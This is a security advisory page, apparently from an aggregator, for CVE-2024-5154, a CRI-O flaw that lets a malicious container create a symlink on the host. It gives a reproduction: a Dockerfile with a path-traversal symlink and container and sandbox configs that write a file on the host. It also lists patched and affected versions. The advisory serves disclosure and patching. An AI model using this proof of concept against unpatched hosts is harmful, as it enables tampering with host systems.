13/5/2024
4/6/2024
12/6/2024
11/12/2024
CVE-2024-5154: Cri-o: malicious container can create symlink on host
First published: Mon May 13 2024(Updated: )
### Impact
A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host.
A workload built from this Dockerfile:
```
FROM docker.io/library/busybox as source
RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc
FROM scratch
COPY --from=source /bin /bin
COPY --from=source /lib /lib
COPY --from=source /extra .
```
and this container config:
```
{
"metadata": {
"name": "busybox"
},
"image":{
"image": "localhost/test"
},
"command": [
"/bin/true"
],
"linux": {
}
}
```
and this sandbox config
```
{
"metadata": {
"name": "test-sandbox",
"namespace": "default",
"attempt": 1,
"uid": "edishd83djaideaduwk28bcsb"
},
"linux": {
"security_context": {
"namespace_options": {
"network": 2
}
}
}
}
```
will create a file on host `/host/mtab`
### Patches
1.30.1, 1.29.5, 1.28.7
### Workarounds
Unfortunately not
### References
_Are there any links users can visit to find out more?_
Credit: secalert@redhat.com secalert@redhat.com
Affected Software | Affected Version | How to fix |
---|
redhat/cri-o | <1.30.1 | 1.30.1 |
redhat/cri-o | <1.29.5 | 1.29.5 |
go/github.com/cri-o/cri-o | >=1.30.0<1.30.1 | 1.30.1 |
go/github.com/cri-o/cri-o | >=1.29.4<1.29.5 | 1.29.5 |
go/github.com/cri-o/cri-o | >=1.28.6<1.28.7 | 1.28.7 |
Kubernetes CRI-O | =1.28.6 | |
Kubernetes CRI-O | =1.29.4 | |
Kubernetes CRI-O | =1.30.0 | |
All of | | |
Any of | | |
Redhat Openshift Container Platform | =3.11 | |
Redhat Openshift Container Platform | =4.0 | |
Redhat Openshift Container Platform | =4.12 | |
Redhat Openshift Container Platform | =4.13 | |
Redhat Openshift Container Platform | =4.14 | |
Redhat Openshift Container Platform | =4.15 | |
Any of | | |
Redhat Enterprise Linux | =8.0 | |
Redhat Enterprise Linux | =9.0 | |
Never miss a vulnerability like this again
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.
- agent/first-publish-date
- agent/weakness
- agent/title
- agent/type
- agent/severity
- agent/event
- agent/author
- collector/epss-latest
- source/FIRST
- agent/epss
- agent/description
- collector/github-advisory
- source/GitHub
- alias/GHSA-j9hf-98c3-wrm8
- alias/CVE-2024-5154
- agent/software-canonical-lookup
- agent/softwarecombine
- collector/mitre-cve
- source/MITRE
- agent/references
- agent/tags
- collector/github-advisory-latest
- agent/last-modified-date
- collector/nvd-api
- source/NVD
- collector/redhat-bugzilla
- source/Red Hat
- collector/nvd-cve
- agent/trending
- package-manager/go
- vendor/kubernetes
- canonical/kubernetes cri-o
- version/kubernetes cri-o/1.28.6
- version/kubernetes cri-o/1.29.4
- version/kubernetes cri-o/1.30.0
- vendor/redhat
- canonical/redhat openshift container platform
- version/redhat openshift container platform/3.11
- version/redhat openshift container platform/4.0
- version/redhat openshift container platform/4.12
- version/redhat openshift container platform/4.13
- version/redhat openshift container platform/4.14
- version/redhat openshift container platform/4.15
- canonical/redhat enterprise linux
- version/redhat enterprise linux/8.0
- version/redhat enterprise linux/9.0
- package-manager/redhat
Contact
SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.coBy using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2024 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203